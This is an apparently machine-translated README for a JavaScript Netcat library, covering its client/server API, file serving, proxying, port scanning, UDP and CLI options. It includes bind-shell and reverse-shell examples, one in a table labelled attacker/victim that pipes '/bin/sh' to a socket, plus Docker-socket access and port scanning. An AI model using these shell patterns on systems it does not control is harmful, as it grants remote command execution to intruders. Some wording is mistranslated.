NetCat客戶端和服務器模塊用pure JavaScript編寫了Node.J。
實現所有基本Netcat功能的全面測試模塊。用作獨立工具安裝NC軟件包。
| Linux/Mac | 視窗 |
|---|---|
.auth('pass') )。 allow並deny特定的遠程IP地址。 $ npm install --save netcat
const NetcatServer = require ( 'netcat/server' )
const NetcatClient = require ( 'netcat/client' )
const nc = new NetcatServer ( )
const nc2 = new NetcatClient ( ) 該模塊的API傾向於盡可能多地遵循原始的NetCat的CLI參數。
例如: nc -l -p 2389等於nc.port(2389).listen() 。容易吧?
| 伺服器 | 客戶 |
|---|---|
nc.port(2389).listen() | nc2.addr('127.0.0.1').port(2389).connect() |
| 伺服器 | 客戶 |
|---|---|
nc.port(2389).listen().pipe(outputStream) | inputStream.pipe(nc2.port(2389).connect().stream()) |
或Viceversa,您可以執行相當於nc -l -p 2389 < filename.txt的同等用途,並且當其他人連接到您的端口2389時,無論是否需要,文件都會發送給他們:
| 伺服器 | 客戶 |
|---|---|
nc.port(2389).serve('filename.txt').listen() | nc2.port(2389).connect().pipe(outputStream) |
| 伺服器 | 客戶 |
|---|---|
nc.port(2389).k().listen() | inputStream.pipe(nc2.port(2389).connect().stream()) |
第一次連接後,服務器將保持活力,並且不會關閉。 ( k()是keepalive()的別名)
| 伺服器 | 客戶 |
|---|---|
nc.port(2389).listen().serve(Buffer.from('Hello World')) | nc2.port(2389).connect().on('data', console.log) |
| 伺服器 | 客戶 |
|---|---|
nc.port(2389).listen().exec('/bin/bash') | process.stdin.pipe( nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream() ) |
exec()方法執行給定命令,並將其stdout和stderr與客戶socket一起管道。
| 攻擊者 | 受害者 |
|---|---|
nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout) | nc2.addr('127.0.0.1').port(2389) .retry(5000).connect().exec('/bin/sh') |
NetCat可以很容易地將其配置為代理服務器:
var nc = new NetcatServer ( )
var nc2 = new NetcatClient ( )
nc2 . addr ( 'google.com' ) . port ( 80 ) . connect ( )
nc . port ( 8080 ) . k ( ) . listen ( ) . proxy ( nc2 . stream ( ) ) localhost:8080將重定向到google.com:80 。同樣,您可以使用同一主機設置端口轉發。
假裝是Apache服務器:
var apache = `HTTP/1.1 200 OK
Date: Sat, 27 May 2017 16:51:02 GMT
Server: Apache/2.4.7 (Ubuntu)
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 16894
Vary: Accept-Encoding
`
var nc = new NetcatServer ( )
var logFile = fs . createWriteStream ( 'log.txt' )
nc . port ( 80 ) . k ( ) . listen ( ) . serve ( Buffer . from ( apache ) ) . pipe ( logFile ) NetCat客戶端還提供了基本的端口掃描功能。
var nc = new NetcatClient ( )
nc . addr ( '127.0.0.1' ) . scan ( '22-80' , function ( ports ) {
// ports: { '22': 'open', '23': 'closed' ... }
} )端口掃描儀僅是TCP協議。 UDP掃描並不是很有效。 scan(...)也接受數組或整數編號。
var nc = new NetcatServer ( )
nc . addr ( '127.0.0.1' ) . port ( 8080 ) . filter ( function ( chunk , enc , cb ) {
// transform upper case
var out = chunk . toString ( ) . toUpperCase ( )
this . push ( Buffer . from ( out ) )
cb ( null )
} ) . pipe ( process . stdout ) . connect ( ) NetCat服務器和客戶端都支持Unix套接字連接。讓我們使用NetCat客戶端實例連接到Docker Unix套接字文件並檢索我們的容器圖像的列表。
nc2 . unixSocket ( '/var/run/docker.sock' ) . enc ( 'utf8' )
. on ( 'data' , function ( res ) {
console . log ( res )
} )
. connect ( )
. send ( 'GET /images/json HTTP/1.0rnrn' ) var nc = new NetcatServer ( )
nc . udp ( ) . port ( 2100 ) . listen ( ) . on ( 'data' , function ( rinfo , data ) {
console . log ( 'Got' , data . toString ( ) , 'from' , rinfo . address , rinfo . port )
nc . close ( )
} ) var nc2 = new NetcatClient ( )
nc2 . udp ( ) . port ( 2100 ) . wait ( 1000 ) . init ( ) . send ( 'hello' , '127.0.0.1' )將hello緩衝區發送到端口2100 ,然後在1000毫秒後關閉客戶端。
port(int)或p(int)NetCat可以綁定到任何本地端口,但要受到已經使用的特權限制和端口。
address(host)或addr(host)0.0.0.0 。127.0.0.1 。 listen()使UDP/TCP服務器在先前設置的端口上收聽。
unixSocket(path) -TCP您可以選擇地提供通往Unix襪子文件的路徑,然後收聽/連接到它。
connect() - 僅TCP僅客戶端。讓客戶端連接到先前設置的地址和端口。
retry(ms) -TCP僅客戶端。丟失連接時,每個ms都重試連接。
interval(ms)或i(ms)僅客戶端:指定發送數據的延遲時間間隔。以毫秒。
waitTime(ms)或wait(ms)設置超時。
ms毫秒,如果沒有獲得更多數據,將關閉連接。ms毫秒,如果沒有更多數據可以發送客戶端。 stream()返回客戶端雙重引用。
pipe(outStream)從客戶端到給定的外面的管道傳入數據。
filter(transformFn)在被輸出之前,用給定的變換function (chunk, enc, cb){...}過濾傳入數據。
NB :您獲得的.on('data', cb)數據未過濾。該過濾器僅應用於管道.pipe(...)流。
已知問題: through2現在不尊重編碼。如果設置了過濾器,則將獲得一個緩衝區,並且enc()方法將毫無用處。
serve()服務器端方法。
serve方法接受字符串(指示文件名,確保存在),可讀流或緩衝區。當您通過可讀的流時,存儲方法可能會導致流媒體的第一個請求消耗,並且不再提供該流(該流不在緩衝區中緩存)。
此外,將文件或緩衝區提供到套接字時,管道將發出end (EOF)事件到插座。關閉流。
send(data [, cb|host])客戶端:
cb 。服務器端:
serve() 。end(data) -TCP客戶端方法。發送給定的數據並關閉連接。
close([cb])關閉連接(或連接執行服務器端),並在關閉插座後致電cb 。
enc()設置一個編碼。最常見的是: utf8 , ascii , base64 , hex , binary , hex 。
protocol(prot)設置自定義協議。不建議使用此方法。代替使用方法tcp()和udp() 。 tcp是默認值。
keepalive()或k() -TCP服務器端方法。
當您設置keetalive時,服務器將保持抬高,並且可能會保持pipe(outStream)保持打開狀態。
默認情況下,在UDP模式下,偵聽將保持活力,直到明確的nc.close() 。
exec() - 僅TCP exec()方法執行給定命令,並將其stdout和stderr與客戶socket一起管道。它可以選擇接受一個字符串和一個ARG數組作為第二個param,而Spawn選項則作為第三個參數。如果發現管char |然後,所有命令將在sh -c下處理。
例子:
nc . p ( 2389 ) . exec ( 'base64' , [ '-d' ] ) . listen ( )
// OR
nc . p ( 2389 ) . exec ( 'base64 | grep hello' ) . listen ( ) getClients() -TCP服務器端方法。返回列出所有客戶端套接字引用的對象。
proxy(duplexStream) - 僅TCP服務器端方法。此方法將服務器傳入/淘汰數據輸送到提供的雙工流。這就像呼叫的快捷方式: .serve(duplexStream)和.pipe(duplexStream) 。
output(outStream)或out(outStream)在給定的Writable Stream outStream寫一個傳入或越來越多的流量的十六進制垃圾場。
一行默認情況下,一排至少16個字節。
第一個角色可以分別為<或> “傳入的塊”或“出現的塊”。
scan(portsInterval, cb) -TCPNetCat客戶端還提供了基本的端口掃描功能。
參數是強制性的。第一個參數指定要掃描的端口。它可以是單個整數,字符串間隔(例如22-80 )或整數數組( [22, 23, 1880] )。結果返回返回,例如{ '22': 'open', '23': 'closed' ... }之類的對象。
init() - 僅UDP connect()的UDP等效。僅適用於UDP客戶。
bind(<int>) - 僅UDP讓UDP客戶端/服務器在給定端口上收聽。如果未調用.port(<n>)它也將用作量端口。
broadcast(<dst>)或b(<dst>) - 僅UDP為UDP服務器設置廣播(最終您可以指定目標地址)。
destination(<dst>) - 僅UDP設置目標地址。 ( 127.0.0.1是默認值)
loopback() - 僅UDP啟用環回。例如,當將UDP服務器綁定到端口並將消息發送到該端口時,如果啟用了回環,它將返回MSG。
bind(int) - 僅UDP綁定UDP服務器/客戶端以在給定端口上偵聽,並將其端口設置port()僅用於即將到來的數據包。
NetCat模塊擴展了EventEmitter類。您將可以直接從插座上捕捉一些事件。例如,服務器的data事件:
| 伺服器 | 客戶 |
|---|---|
nc.port(2389).listen().on('data', onData) | inputStream.pipe(nc2.port(2389).connect().stream()) |
function onData ( socket , chunk ) {
console . log ( socket . id , 'got' , chunk ) // Buffer <...>
socket . write ( 'hello client' ) // reply to the client
}.on('data', function(sock/rinfo, msg){})當服務器從客戶端獲取數據時發出。
.on('ready', cb)當服務器成功收聽/綁定到端口時,發出。
.on('close', cb)服務器關閉時發射。
.on('clientClose', function(socket, hadError){})當客戶端與服務器斷開連接時調用。回調接受為第1個param socket實例,而剛連接和布爾val hadError 。
.on('connection', function(socket){}) -僅TCP當新客戶端連接到服務器時發出。
.on('end', function(socket){}) )當客戶結束連接時發出。
.on('timeout', function(socket){}) )插座超時事件。
.on('waitTimeout', cb)當服務器在指定的wait(ms)時間中保持不活動時,請觸發。
.on('error', function(err){})發出錯誤。
.on('data', function(msg){})服務器的數據。
.on('close', cb)客戶關閉時發出。
.on('waitTimeout', cb)當客戶在指定的wait(ms)時間中保持不活動時,被解僱。
.on('connect', cb) -TCP客戶與服務器建立連接時發出。
.on('error', function(err){})發出錯誤。
對於獨立使用,安裝NC CLI軟件包:
$ npm install -g nc
例子:
$ # Listen for inbound
$ nc -l -p port [- options] [hostname] [port]
可用選項:
-c shell commands as '-e'; use /bin/sh to exec [dangerous!!]-e filename program to exec after connect [dangerous!!]-b allow broadcasts-i secs delay interval for lines sent, ports scanned (client-side)-h this cruft-k set keepalive option on socket-l listen mode, for inbound connects-n numeric-only IP addresses, no DNS-o file hex dump of traffic-p port local port number-r randomize local and remote ports-q secs quit after EOF on stdin and delay of secs-s addr local source address-u UDP mode-U Listen or connect to a UNIX domain socket-v verbose-w secs timeout for connects and final net reads-z zero-I/O mode [used for scanning]調試與詳細模式匹配。您可以用verbose: true param或env var DEBUG=netcat:*
運行它們: npm test
覆蓋範圍:
.serve(input)方法.pipe()和serve() keepalive連接。 exec()方法Rocco Musolino(@RocComuso)
麻省理工學院